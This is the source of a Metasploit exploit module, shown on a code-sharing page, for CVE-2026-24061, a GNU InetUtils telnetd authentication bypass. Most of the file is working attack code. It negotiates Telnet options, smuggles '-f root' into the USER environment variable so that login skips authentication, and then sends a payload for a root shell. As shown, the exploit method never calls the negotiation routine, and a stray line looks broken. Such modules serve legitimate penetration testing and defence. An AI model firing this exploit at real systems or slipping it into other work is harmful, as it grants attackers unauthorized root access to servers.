Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb
36033 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::Telnet
11
include Msf::Exploit::Capture
12
13
NEW_ENVIRON_IS = "\x00"
14
NEW_ENVIRON_SEND = "\x01"
15
NEW_ENVIRON_VAR = "\x00"
16
NEW_ENVIRON_VALUE = "\x01"
17
SPACE = "\x20"
18
ZERO = "\x00"
19
FF = "\xff"
20
21
def initialize(info = {})
22
super(
23
update_info(
24
info,
25
'Name' => 'GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061',
26
'Description' => %q{
27
The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in
28
versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which
29
allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.
30
Environment variables can be sent as sub-options and it's the USER environment variable which introduces the
31
authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd
32
service during authentication, the variable gets appended without proper sanitization to an execv call to the
33
/usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit
34
sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.
35
},
36
'Author' => [
37
'jheysel-r7', # Metasploit module
38
'Kyu Neushwaistein' # aka Carlos Cortes Alvarez, discovery
39
],
40
'References' => [
41
['CVE', '2026-24061'],
42
['URL', 'https://github.com/DeadlyHollows/CVE-2026-24061-setup'], # Target setup
43
['URL', 'https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/'],
44
['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
45
],
46
'DisclosureDate' => '2026-01-26', # Python PoC (TCP)
47
'License' => MSF_LICENSE,
48
'Platform' => %w[unix linux],
49
'Arch' => ARCH_CMD,
50
'Privileged' => true,
51
'Targets' => [
52
[ 'Automatic', {} ]
53
],
54
'Notes' => {
55
'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed - this behaviour is specific to version 1.9.4 of InetUtils running on Ubuntu 18.04
56
'Stability' => [CRASH_SAFE],
57
'SideEffects' => []
58
}
59
)
60
)
61
62
register_options([
63
Opt::RPORT(23),
64
OptString.new('USERNAME', [true, 'Username on device to bypass authentication as', 'root']),
65
OptString.new('TERMINAL_TYPE', [true, 'Terminal type to set when authenticating', 'XTERM-256COLOR']),
66
OptInt.new('TERMINAL_SPEED', [true, 'Terminal speed to set when authenticating', 38400])
67
])
68
end
69
70
def recv_telnet(fd, timeout)
71
data = ''
72
bytes_to_send = ''
73
74
begin
75
data = fd.get_once(-1, timeout)
76
return nil if data.blank?
77
78
data_string = telnet_bytes_to_names(data)
79
vprint_status('Incoming Bytes: ' + data_string)
80
81
if @client_sends == 0
82
bytes_to_send =
83
IAC + WILL + OPT_AUTHENTICATION +
84
IAC + DO + OPT_SGA +
85
IAC + WILL + OPT_TTYPE +
86
IAC + WILL + OPT_NAWS +
87
IAC + WILL + OPT_TSPEED +
88
IAC + WILL + OPT_LFLOW +
89
IAC + WILL + OPT_LINEMODE +
90
IAC + WILL + OPT_NEW_ENVIRON +
91
IAC + DO + OPT_STATUS
92
elsif @client_sends == 1
93
bytes_to_send =
94
IAC + DO + OPT_AUTHENTICATION +
95
IAC + DONT + OPT_ENCRYPT +
96
IAC + WONT + OPT_XDISPLOC +
97
IAC + WONT + OPT_OLD_ENVIRON
98
elsif @client_sends == 2
99
100
# For more info on Telnet Linemode Option please reference: https://www.rfc-editor.org/rfc/rfc1184.html
101
# The following binary blob was copied from a wireshark dump of a working PoC which used the telnet binary
102
linemode_slc =
103
"\x03\x01\x03\x00\x03\x62\x03\x04\x02\x0f\x05\x02\x14\x07\x62" \
104
"\x1c\x08\x02\x04\x09\x42\x1a\x0a\x02\x7f\x0b\x02\x15\x0c" \
105
"\x02\x17\x0d\x02\x12\x0e\x02\x16\x0f\x02\x11\x10\x02" \
106
"\x13\x11\x00" + FF + FF + "\x12\x00" + FF + FF
107
108
bytes_to_send =
109
IAC + SB + OPT_AUTHENTICATION +
110
ZERO + ZERO + ZERO +
111
IAC + SE +
112
IAC + SB + OPT_NAWS +
113
"\x00\x7e" + "\x00\x3d" +
114
IAC + SE +
115
IAC + SB + OPT_LINEMODE +
116
linemode_slc +
117
IAC + SE +
118
IAC + DO + OPT_SGA +
119
IAC + SB + OPT_LINEMODE +
120
"\x01\x14" +
121
IAC + SE
122
IAC + SE
123
elsif @client_sends == 3
124
print_status('Sending authentication bypass...')
125
bytes_to_send =
126
IAC + SB + OPT_TSPEED +
127
NEW_ENVIRON_IS +
128
"#{datastore['TERMINAL_SPEED']},#{datastore['TERMINAL_SPEED']}" +
129
IAC + SE +
130
IAC + SB + OPT_NEW_ENVIRON +
131
NEW_ENVIRON_IS +
132
NEW_ENVIRON_VAR + 'USER' +
133
NEW_ENVIRON_SEND + '-f' + SPACE + datastore['USERNAME'] + # this is the auth bypass, sending '-f root' as the NEW_ENVIRON_VAR "USER"
134
IAC + SE +
135
IAC + SB + OPT_TTYPE +
136
NEW_ENVIRON_IS +
137
datastore['TERMINAL_TYPE'] +
138
IAC + SE
139
elsif @client_sends == 4
140
bytes_to_send = IAC + WONT + OPT_ECHO
141
elsif @client_sends == 5
142
bytes_to_send = IAC + DO + OPT_ECHO +
143
IAC + WILL + OPT_BINARY +
144
IAC + WONT + OPT_LINEMODE
145
elsif @client_sends == 6
146
print_status('Sending payload...')
147
bytes_to_send = payload.encoded + "\x0d\x0a"
148
end
149
150
if datastore['VERBOSE']
151
if @client_sends == 6
152
vprint_status('Outgoing Bytes: ' + bytes_to_send)
153
else
154
vprint_status('Outgoing Bytes: ' + telnet_bytes_to_names(bytes_to_send))
155
end
156
end
157
158
fd.write(bytes_to_send) unless bytes_to_send.empty?
159
160
@trace << data
161
@recvd << data
162
fd.flush
163
@client_sends += 1
164
rescue ::EOFError, ::Errno::EPIPE => e
165
fail_with(Failure::UnexpectedReply, "Sending data failed with error: #{e}")
166
end
167
168
data
169
end
170
171
def exploit
172
@client_sends = 0
173
print_status('Connecting to telnet service... ')
174
connect
175
rescue ::Rex::ConnectionError => e
176
print_error("Connection failed: #{e.message}")
177
ensure
178
disconnect
179
end
180
end
181
182